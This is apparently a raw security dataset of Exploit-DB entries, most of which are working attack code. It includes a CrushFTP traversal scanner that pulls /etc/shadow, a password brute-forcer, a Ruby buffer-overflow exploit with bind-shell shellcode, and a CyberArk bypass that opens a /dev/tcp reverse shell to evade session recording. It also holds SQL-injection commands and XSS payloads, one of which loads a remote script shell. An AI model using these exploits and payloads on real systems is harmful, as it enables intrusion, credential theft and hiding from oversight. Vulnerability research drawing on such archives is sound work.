deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52012
Description: CrushFTP < 11.1.0 - Directory Traversal
Type: remote
Platform: multiple
Date: 2024-05-13
Author: Abdualhadi khalifa

Exploit:
## Exploit Title: CrushFTP Directory Traversal
## Google Dork: N/A
# Date: 2024-04-30
# Exploit Author: [Abdualhadi khalifa (https://twitter.com/absholi_ly)
## Vendor Homepage: https://www.crushftp.com/
## Software Link: https://www.crushftp.com/download/
## Version: below 10.7.1 and 11.1.0 (as well as legacy 9.x)
## Tested on: Windows10

import requests
import re

# Regular expression to validate the URL
def is_valid_url(url):
    regex = re.compile(
        r'^(?:http|ftp)s?://' # http:// or https://
        r'(?:(?:A-Z0-9?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' # domain...
        r'localhost|' # localhost...
        r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|' # ...or ipv4
        r'\[?[A-F0-9]*:[A-F0-9:]+\]?)' # ...or ipv6
        r'(?::\d+)?' # optional: port
        r'(?:/?|[/?]\S+)$', re.IGNORECASE)
    return re.match(regex, url) is not None

# Function to scan for the vulnerability
def scan_for_vulnerability(url, target_files):
    print("Scanning for vulnerability in the following files:")
    for target_file in target_files:
        print(target_file)

    for target_file in target_files:
        try:
            response = requests.get(url + "?/../../../../../../../../../../" + target_file, timeout=10)
            if response.status_code == 200 and target_file.split('/')[-1] in response.text:
                print("vulnerability detected in file", target_file)
                print("Content of file", target_file, ":")
                print(response.text)
            else:
                print("vulnerability not detected or unexpected response for file", target_file)
        except requests.exceptions.RequestException as e:
            print("Error connecting to the server:", e)

# User input
input_url = input("Enter the URL of the CrushFTP server: ")

# Validate the URL
if is_valid_url(input_url):
    # Expanded list of allowed files
    target_files = [
        "/var/www/html/index.php",
        "/var/www/html/wp-config.php",
        "/etc/passwd",
        "/etc/shadow",
        "/etc/hosts",
        "/etc/ssh/sshd_config",
        "/etc/mysql/my.cnf",
        # Add more files as needed
        
    ]
    # Start the scan
    scan_for_vulnerability(input_url, target_files)
else:
    print("Invalid URL entered. Please enter a valid URL.")
Exploit-DB #38636
Description: Cryptocat 2.0.21 Chrome Extension - 'img/keygen.gif' File Information Disclosure
Type: remote
Platform: multiple
Date: 2012-11-07
Author: Mario Heiderich

Exploit:
source: https://www.securityfocus.com/bid/61090/info

Cryptocat is prone to an information disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information that may aid in further attacks.

Cryptocat 2.0.21 is vulnerable; other versions may also be affected. 

<img src="chrome-extension://[extension-id-from-chrome-web-
store]/img/keygen.gif" onload=alert(/hascat/) onerror=alert(/hasnot/) >
Exploit-DB #38637
Description: Cryptocat 2.0.22 - Arbitrary Script Injection
Type: remote
Platform: multiple
Date: 2012-11-07
Author: Mario Heiderich

Exploit:
source: https://www.securityfocus.com/bid/61093/info

Cryptocat is prone to an arbitrary script-injection vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code within the context of the application.

Versions prior to Cryptocat 2.0.22 are vulnerable. 

Http://example.come/data:image/foo;base64,PGh0bWw+PGlmcmFtZSBzcmM9Imh0dHA6Ly9ldmlsLmNvbS8iPjwvaWZyYW1lPjwvaHRtbD4NCg
Exploit-DB #31918
Description: Crysis 1.21 - 'keyexchange' Packet Information Disclosure
Type: remote
Platform: multiple
Date: 2008-06-15
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/29720/info

Crysis is prone to an information-disclosure vulnerability caused by a design error.

Attackers can exploit this issue to obtain sensitive information that may lead to further attacks.

Crysis 1.21 and prior versions are affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31918.zip
Exploit-DB #22179
Description: CSO Lanifex Outreach Project Tool 0.946b - Request Origin Spoofing
Type: remote
Platform: multiple
Date: 2003-01-16
Author: Martin Eiszner

Exploit:
source: https://www.securityfocus.com/bid/6630/info

It has been reported that OPT accepts the values supplied supplied by users in HTTP headers as the originating IP address of a request. It is possible for a remote host to supply a fake IP address in one of these environment variables that would obscure the origin on the request.

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common;
use HTTP::Response;
my ($url,$uid,$pf) = @ARGV;
open(P,"< $pf") || die "passf.?\n";
my $ua = LWP::UserAgent->new(requests_redirectable => ['POST']); # carefully !
while(<P>){ my $pwd = $_; chomp($pwd);
my %h = ( VIA => (rand(255)%255).".".(rand(255)%255).".".(rand(255)%255).".".(rand(255)%255) );
my $res = $ua->request(HEAD "$url?lang=0&justlogged=1&username=$uid&[CREDENTIAL_REDACTED]=+0200&button=Login now",%h);
my $hds = $res->headers; my $new = $hds->header("Location");
my $res2 = $ua->request(GET "$new",%h); my $res2 = $ua->request(GET "$new",%h); # strange db-redirect stuff ?!!
my $cod = $res2->code;
my $pag = $res2->content;
print "$uid:$pwd ".(($cod =~ /20\d/ && $pag !~ /is invalid/ig)?"\tYES":'')."\n"; }
close (P);
Exploit-DB #25028
Description: CSV2XML 0.5.1 - Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 2004-12-15
Author: Limin Wang

Exploit:
source: https://www.securityfocus.com/bid/12027/info

It is reported that csv2xml is susceptible to a buffer overflow vulnerability. This issue is due to a failure of the application to properly bounds check user-supplied data prior to copying it into a fixed-size memory buffer.

This vulnerability allow remote attackers to alter the proper flow of execution of the application, potentially resulting in the execution of attacker-supplied machine code in the context of the application attempting to read malicious data. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25028.zip
Exploit-DB #10001
Description: CUPS - 'kerberos' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2009-11-11
Author: Aaron Sigel

Exploit:
Attackers can exploit this issue by enticing an unsuspecting victim into following a malicious URI.

The following example URI is available:

http://www.example.com/admin/?kerberos=onmouseover=alert





source: https://www.securityfocus.com/bid/36958/info

CUPS is prone to a cross-site scripting vulnerability because the software fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

NOTE: This vulnerability was originally reported in BID 36956 (Apple Mac OS X 2009-006 Multiple Security Vulnerabilities), but has been given its own record to better document it.

This issue affects versions prior to CUPS 1.4.2.
Exploit-DB #48239
Description: CyberArk PSMP 10.9.1 - Policy Restriction Bypass
Type: remote
Platform: multiple
Date: 2020-03-23
Author: LAHBAL Said

Exploit:
# Exploit Title: CyberArk PSMP 10.9.1 - Policy Restriction Bypass
# Google Dork: NA
# Date: 2020-02-25
# Exploit Author: LAHBAL Said
# Vendor Homepage: https://www.cyberark.com/
# Software Link: https://www.cyberark.com/
# Version: PSMP <=10.9.1
# Tested on: PSMP 10.9 & PSMP 10.9.1
# CVE : N/A
# Patched : PSMP >= 11.1

[Prerequisites]

Policy allows us to overwrite PSMRemoteMachine

[Description]
An issue was discovered in CyberArk Privileged Session Manager SSH Proxy
(PSMP)
through 10.9.1.
All recordings mechanisms (Keystoke, SSH Text Recorder and video) can be
evaded
because users entries are not properly validated.
Commands executed in a reverse shell are not monitored.
The connection process will freeze just after the "session is being
recorded" banner and the all commands we enter are not monitored.

------------------------------------------

[Additional Information]
We can got a reverse shell (or execute any command we want) from remote
target and be completely invisible from CyberArk. In logs, we have only
both PSMConnect and PSMDisconnect events.
Here are details of the attack :
1. I connect through CyberArk PSMP server using this
connection string : ssh <vaultUserName>%username+address%'remoteMachine
bash -i >& /dev/tcp/<AttackerIP>/<AttackerPort0>&1'@<psmpServer>
Example : ssh slahbal%sharedLinuxAccount+test.intra%'linux01 bash -i >&
/dev/tcp/192.168.0.10/443 0>&1'@psmp
3. This connection string will :
- Connect me to linux01 using sharedLinuxAccount account that is stored
into CyberArk and to which I have access.
- Create a reverse shell to my workstation 192.168.0.10:443 (nc.exe is
listening on port 443 for this test).
4. The connection process will freeze just after "The sessions is being
recorded" banner
5. I got a reverse shell on which all commands ar not monitored.
Note 1 : The command that created the reverse shell is NOT captured by
CyberArk.
Note 2 : sshd_config has been set with those parameters :
PSMP_AdditionalDelimiter %
PSMP_TargetAddressPortAdditionalDelimiter +

------------------------------------------

[VulnerabilityType Other]
Bypass all recordings mechanisms (Keystoke, SSH Text Recorder and video)

------------------------------------------

[Vendor of Product]
CyberArk

------------------------------------------

[Affected Product Code Base]
PSMP - <=10.9.1

------------------------------------------

[Affected Component]
/opt/CARKpsmp/bin/psmpserver

------------------------------------------

[Attack Type]
Local

------------------------------------------

[CVE Impact Other]
The vulnerability allow you to connect through CyberArk PSMP server
bypassing all recordings mechanisms

------------------------------------------

[Attack Vectors]
To exploit the vulnerability, someone must connect through PSMP using a
crafted connection string.

------------------------------------------

[Has vendor confirmed or acknowledged the vulnerability?]
true
Exploit-DB #2053
Description: Cyrus IMAPD 2.3.2 - 'pop3d' Remote Buffer Overflow (2)
Type: remote
Platform: multiple
Date: 2006-07-21
Author: bannedit

Exploit:
            #!/usr/bin/ruby
#
# cyrus-imapd pop3d exploit
# by bannedit
#
# 05/23/2006
#	This exploit takes advantage of a stack based overflow.
#	Once the stack corruption has occured it is possible
#	to overwrite a pointer which is later used for a memcpy
#	this gives us a write anything anywhere condition similar
#	to a format string vulnerability.
#	
#	I choose to overwrite the GOT table with my shellcode and
#	return to it. This defeats the VA random patch and possibly
#	other stack protection features.
#
#	tested on gentoo-sources linux 2.6.16



require 'socket'

#will add targets for other linux distros
targets = { 'linux 2.6' => '0x080fd318', 'linux 2.6 Hardened' => '', 'freebsd' => '' }


#metasploit bind shellcode by skape 84 bytes port 4444#

shellcode = 
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"+
"\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"+
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"+
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"+
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"+
"\x89\xe1\xcd\x80"


puts "--[cyrus imapd pop3 popsubfolders exploit"
puts "----[by bannedit"
puts "-----------------------------------------"

case ARGV.length 

when 0
	puts "--- ./exploit [host] [options]"
	exit

when 1
	sock = TCPSocket.new(ARGV[0], "pop3")

when 2
	sock = TCPSocket.new(ARGV[0], "pop3")
	ret = ARGV[1].hex

end

ret = (targets['linux 2.6'].hex) 

puts "<- " + banner = sock.gets
puts "-> sending USER command"
printf " injecting shellcode: %d bytes\n", shellcode.length


#this alignment stuff should probably be cleaned up its kinda icky#

evil_buff = "USER " 
evil_buff <<"\x90" * 265 #(290 - shellcode.length)

evil_buff << ([ret].pack('V')) * 2 #return address
evil_buff <<"\x90" * (250 - shellcode.length) 
evil_buff << shellcode
evil_buff <<"\x90" * (29)
ret = ret - 277
evil_buff << ([ret].pack('V')) * 4 #0x080fd204
evil_buff <<"\r\n"

sock.send(evil_buff, 0)

sleep 9
puts " attempting to connect to #{ARGV[0]} port 4444"

cmd = "nc #{ARGV[0]} 4444"
system(cmd)

sock.close

# milw0rm.com [2006-07-21]
Exploit-DB #23563
Description: Darkwet Network WebcamXP 1.6.945 - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2004-01-21
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/9465/info

It has been reported that WebcamXP may be prone to a cross-site scripting vulnerability that may allow a remote attacker to execute HTML or script code in a user's browser. It has been reported that HTML and script code may be parsed via a malicious URI.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication credentials. Other attacks are also possible. 

WebcamXP version 1.06.945 has been identified as vulnerable, however, other versions could be affected as well.

http://www.example.com/<script>alert('XSS')</script>
Exploit-DB #39104
Description: Dassault Systemes Catia - Remote Stack Buffer Overflow
Type: remote
Platform: multiple
Date: 2014-02-19
Author: Mohamed Shetta

Exploit:
source: https://www.securityfocus.com/bid/65675/info

Catia is prone to a stack-based buffer-overflow vulnerability because the application fails to perform adequate boundary-checks on user-supplied input.

An attacker can exploit this issue to execute arbitrary code in the context of the application. Failed exploit attempts will result in a denial-of-service condition.

Catia V5-6R2013 is vulnerable. 

#!/usr/bin/env python
   
import socket
import struct
import ctypes
 
RetAdd="\x90\x90\x90\x90"
Shell="S" *1000
buff= "\x00\x01\x00\x30" + "A" * 20 + "AppToBusInitMsg" +"\x00" + "\x00" * 48 + "CATV5_Backbone_Bus" +"\x00" + "\x00"* 49 + "\x00\x00\x00\x00"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.3", 55555))
#s.connect(("192.168.0.5", 55558))
s.send(struct.pack('>I',len(buff) ))
s.send(buff)
buff= "\x02\x00\x00\x00" + RetAdd*3 + "\x00\x00\x00\x00" * 13 + "\x00\x00\x00\x00" * 5 + "CATV5_AllApplications" +"\x00" + "\x00"* 43 +"\x00\x00\x98" + "\x00\x00\x00\x01" +"\x00"*4 +"\x08\x00\x00\x00" + Shell                                   
s.send(struct.pack('>I',len(buff) ))
s.send(buff)
Exploit-DB #20807
Description: datawizard webxq 2.1.204 - Directory Traversal
Type: remote
Platform: multiple
Date: 2001-04-27
Author: joetesta

Exploit:
source: https://www.securityfocus.com/bid/2660/info

DataWizard WebXQ server could be led to traverse directories and possibly reveal files outside of the web root.

By including '/../' sequences along with a known file or directory in requested URLs, a remote user can obtain read access to the requested directories and files outside the web root, potentially compromising the privacy of user data and/or obtaining information which could be used to further compromise the host. 

http://www.example.com/./.../[target file]
Exploit-DB #21801
Description: DB4Web 3.4/3.6 - Connection Proxy
Type: remote
Platform: multiple
Date: 2002-09-17
Author: Stefan Bagdohn

Exploit:
source: https://www.securityfocus.com/bid/5725/info

DB4Web is an application server that allows read and write access to relational databases and other information sources, via the web. The application is available for Windows, Linux, and various Unix platforms.

By requesting a specially crafted URL, it is possible to initiate a TCP connect from the vulnerable server to a remote IP address and arbitrary port.

The server will then produce a debug page, which can be used to determine port status on the scanned host.

http://127.0.0.1/DB4Web/172.31.93.30:22/foo
Exploit-DB #21800
Description: DB4Web 3.4/3.6 - File Disclosure
Type: remote
Platform: multiple
Date: 2002-09-17
Author: Stefan Bagdohn

Exploit:
source: https://www.securityfocus.com/bid/5723/info

DB4Web is an application server that allows read and write access to relational databases and other information sources, via the web. The application is available for Windows, Linux, and various Unix platforms.

A directory traversal bug exists in DB4Web.

By passing a maliciously crafted query to the application, an attacker can potentially gain access to arbitrary system files. This is due to the application insufficiently validating the user supplied input.

On MS Windows systems the URL to retrieve the boot.ini file would
look like:
http://db4web.server.system/scripts/db4web_c.exe/dbdirname/c%3A%5Cboot.ini

On Linux/Unix servers the following URL will show /etc/hosts:
http://db4web.server.system/cgi-bin/db4web_c/dbdirname//etc/hosts
Exploit-DB #28344
Description: DConnect Daemon - Listen Thread UDP Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 2006-08-06
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/19369/info

DConnect Daemon is prone to a buffer-overflow vulnerability because the library fails to do proper boundary checks before copying user-supplied data into a finite-sized buffer.

This issue allows remote attackers to execute arbitrary code within the context of the application or cause the application to crash causing a denial of service. 

Version 0.7.0, CVS July 30th 2006 and prior versions are vulnerable to this issue.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28345.zip
Exploit-DB #21193
Description: DeleGate 7.7.1 - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2001-12-28
Author: SNS Research

Exploit:
source: https://www.securityfocus.com/bid/3749/info

DeleGate is a proxy server which runs on Linux , Unix, Microsoft Windows and OS/2 platforms. It is capable of translating a number of protocols(HTTP, FTP, NNTP, POP, Telnet, etc.) between client and server.

DeleGate is prone to cross-site scripting attacks. HTML tags are not filtered from links to error pages. As a result, it is possible for an attacker to insert malicious script code into a link to a site running DeleGate. When a web user clicks the link an error page will be displayed and the script code will be executed on the web user in the context of the site running DeleGate.

Such an attack may be used to steal a legitimate user's cookie-based authentication credentials. 

http://IP_Address_of_DeleGate/<script>alert("aaa");</script>
Exploit-DB #38179
Description: Dell OpenManage Server Administrator - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2013-01-09
Author: Tenable NS

Exploit:
source: https://www.securityfocus.com/bid/57212/info

Dell OpenManage Server Administrator is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

OpenManage Server Administrator 7.1.0.1 and prior versions are vulnerable. 

https://www.example.com:1311/help/sm/en/Output/wwhelp/wwhimpl/js/html/index_main.htm?topic="></iframe><iframe src="javascript:alert(/xss/)
Exploit-DB #38812
Description: DELL Quest One Password Manager - CAPTCHA Security Bypass
Type: remote
Platform: multiple
Date: 2011-10-21
Author: Johnny Bravo

Exploit:
source: https://www.securityfocus.com/bid/63259/info

DELL Quest One Password Manager is prone to a security bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and gain access to sensitive areas of the application to perform unauthorized actions; this may aid in launching further attacks. 

ScenarioActionId=[PII_REDACTED]-2070-726F64756374&UserName=domain%5Cuser&Search=false
Exploit-DB #21384
Description: Demarc PureSecure 1.0.5 - Authentication Check SQL Injection
Type: remote
Platform: multiple
Date: 2002-04-15
Author: pokleyzz sakamaniaka

Exploit:
source: https://www.securityfocus.com/bid/4520/info

Demarc PureSecure is a commercially available graphical front-end for Snort, in addition to being a generalized network monitoring solution. Snort is an open-source NIDS (Network Intrusion Detection System). Demarc PureSecure will run on most Linux and Unix variants, as well as Microsoft Windows NT/2000/XP operating systems.

A vulnerability has been reported in some versions of PureSecure. User supplied input is used to construct a SQL statement, allowing SQL injection attacks. Administrative access may be gained through exploitation of this flaw.

curl -b s_key=\'%20OR%20current_session_id%20like%20\'%\'%23 https://<lame host>/dm/demarc
Exploit-DB #31890
Description: Diigo Toolbar and Diigolet Comment Feature - HTML Injection / Information Disclosure
Type: remote
Platform: multiple
Date: 2008-06-20
Author: Ferruh Mavituna

Exploit:
source: https://www.securityfocus.com/bid/29611/info

Diigo Toolbar and Diigolet are prone to an HTML-injection vulnerability and an information-disclosure vulnerability when handling data via the 'comment' feature.

An attacker can exploit the HTML-injection issue to run arbitrary HTML and script code in the plugin of an unsuspecting user in the context of the domain on which a shared comment was made. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The attacker can exploit the information-disclosure issue via successful man-in-the-middle attacks. Information harvested may aid in further attacks.

<script src="http://example.com/xssshell/"></script>